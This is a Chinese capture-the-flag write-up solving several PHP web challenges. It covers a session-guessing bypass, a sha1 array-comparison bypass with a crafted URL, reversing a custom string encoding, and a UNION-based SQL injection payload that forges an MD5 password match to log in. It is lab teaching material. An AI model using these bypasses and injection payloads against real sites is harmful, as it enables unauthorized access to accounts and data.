guess next session源码:
<?php session_start(); if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print '<p>Wrong guess.</p>'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>
要求password=session时,输出flag,所以设置session值为0,提交password为0时可以成功
bp抓包出了问题,
右键删除PHPSESSID,空白密码提交,就出来了:
FALSE:
<?php if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else{ echo '<p>Login first!</p>'; ?>
name!=password,但sha1后name=password时,可以成功
补充:sha1漏洞
md5 和 sha1 无法处理数组,返回 NULL if (@sha1([]) == false) echo 1; if (@md5([]) == false) echo 2; echo var_dump(@sha1([]));
md5和sha1无法处理数组,所以可以设置为数组,得sha1值都为Null,于是构造:
http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
注意,name!=password,取值要不同
NSCTF web200
打开图片就是把给出的字符串逆着解码 ,于是逆着原来的编码进行解码:
<?php function decode($str) { $_=''; $a=base64_decode(strrev(str_rot13($str))); for($i=0;$i<strlen($a);$i++) { $_c=substr($a,$i,1); $__=ord($_c)-1; $_c=chr($__); $_=$_.$_c; } return strrev($_); } print decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");//解码得flag ?>
得到flag:
程序逻辑问题:
看一下源码:
<html> <head> welcome to simplexue </head> <body> <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user];//输入的用户名 $pass = md5($_POST[pass]);//输入密码的md5密文 $sql = "select pw from php where user='$user'";//从php表中检索用户登陆时输入的用户名的密码(pw列) $query = mysql_query($sql);//执行sql变量的SQL语句 if (!$query) { printf("Error: %s ", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC);//声明row变量是把sql变量的SQL语句执行后返回的结果转换为数组 //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>";//如果row变量中pw的内容和用户登陆时输入的密码的MD5密码相同,则输出“Logged in!”并输出key } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html>
通过上述对代码的分析,因此,我们只需要让输入的密码的MD5密文和数据库检索出来的密码匹配就可以绕过验证,得到key
于是注入:
xxx' and 0=1 union select "C4CA4238A0B923820DCC509A6F75849B" # 密码输入1
输出flag: